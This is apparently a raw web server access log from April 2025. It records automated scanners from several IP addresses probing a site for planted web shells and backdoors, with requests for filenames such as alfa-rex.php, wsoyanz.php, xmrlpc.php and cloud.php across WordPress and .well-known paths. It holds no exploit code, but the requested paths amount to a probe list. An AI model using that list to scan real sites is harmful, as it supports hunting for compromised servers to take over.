[16/Apr/2025:21:40:17 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:17 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:18 -0400] "GET /wp-admin/js/widgets/come.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:18 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:18 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:18 -0400] "GET /wp-admin/css/colors/sxo.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:18 -0400] "GET /OVA-UNAME.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:19 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:19 -0400] "GET /vendor/php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:19 -0400] "GET /wp-includes/css/custom-file-5-1735118957.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:19 -0400] "GET /wp-content/themes/intense/block-css.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:19 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:19 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:20 -0400] "GET /wp-admin/images/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:20 -0400] "GET /wp-includes/sodium_compat/src/about.php HTTP/1.1" 301 795 "-" "-" 43.128.149.102 - - [16/Apr/2025:22:48:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.14.154.215 - - [16/Apr/2025:23:01:01 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:23:01:02 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:23:01:02 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:23:01:03 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:23:01:03 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:23:01:03 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:23:01:04 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:23:01:04 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:23:01:04 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:23:01:04 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 162.0.232.217 - - [16/Apr/2025:23:02:18 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:23:02:28 -0400] "GET /.well-known/pki-validation/asyaddpi.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:23:02:29 -0400] "GET /.well-known/pki-validation/3c2b55bd-fabd-419b-9718-66fbcf89acc5.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:23:02:32 -0400] "GET /.well-known/pki-validation/65d9b536-ce5f-497e-8c82-8ee66c78d293.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:23:02:37 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:23:02:37 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:23:02:39 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:23:02:50 -0400] "GET /.well-known/pki-validation/ahzjhofz.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:23:02:57 -0400] "GET /.well-known/acme-challenge/index_php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:23:02:58 -0400] "GET /.well-known/pki-validation/class_api.php999 HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:23:02:59 -0400] "GET /.well-known/pki-validation/akrcovxu.php HTTP/1.1" 301 795 "-" "get_local:DCV" 180.102.134.69 - - [16/Apr/2025:23:49:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.80.32 - - [17/Apr/2025:00:43:53 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:43:55 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:43:55 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:43:56 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:43:56 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:43:58 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:43:58 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:43:59 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:43:59 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:43:59 -0400] "GET /berlin.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:00 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:01 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:02 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:02 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:03 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:04 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:04 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:05 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:07 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:07 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:08 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:09 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:10 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:11 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:11 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:13 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:13 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 404 24531 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:14 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:14 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:15 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:16 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:17 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:18 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:20 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:21 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:21 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:22 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:23 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:24 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:24 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:25 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:26 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:27 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:28 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:28 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:29 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:30 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:31 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:31 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:32 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:33 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:34 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:35 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:36 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:37 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:38 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:39 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:41 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:44 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:45 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:46 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:47 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:48 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:48 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:49 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:50 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:51 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:51 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:52 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:53 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:54 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:54 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:56 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:56 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:57 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:58 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:59 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:44:59 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:00 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:01 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:01 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:02 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:03 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:03 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:04 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:05 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:06 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:08 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:09 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:10 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:12 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:16 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:19 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:21 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:23 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:26 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:28 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:29 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:31 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:33 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:34 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:36 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:38 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:39 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:40 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:41 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:42 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:43 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:43 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:44 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:45 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:46 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:47 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:49 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:49 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:50 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:52 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:53 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:54 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:55 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:56 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:00:45:57 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 5.34.178.131 - - [17/Apr/2025:00:59:19 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36" 52.169.85.7 - - [17/Apr/2025:01:07:58 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:02 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:04 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:06 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:07 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:08 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:08 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:09 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:10 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:11 -0400] "GET /berlin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:11 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:12 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:13 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:14 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:16 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:18 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:20 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:25 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:27 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:29 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:32 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:33 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:34 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:35 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:36 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:37 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:40 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:42 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:44 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:47 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:49 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:52 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:54 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:56 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:57 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:58 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:08:59 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:00 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:02 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:05 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:08 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:09 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:11 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:13 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:15 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:17 -0400] "GET /cloud.php HTTP/1.1" 301 795 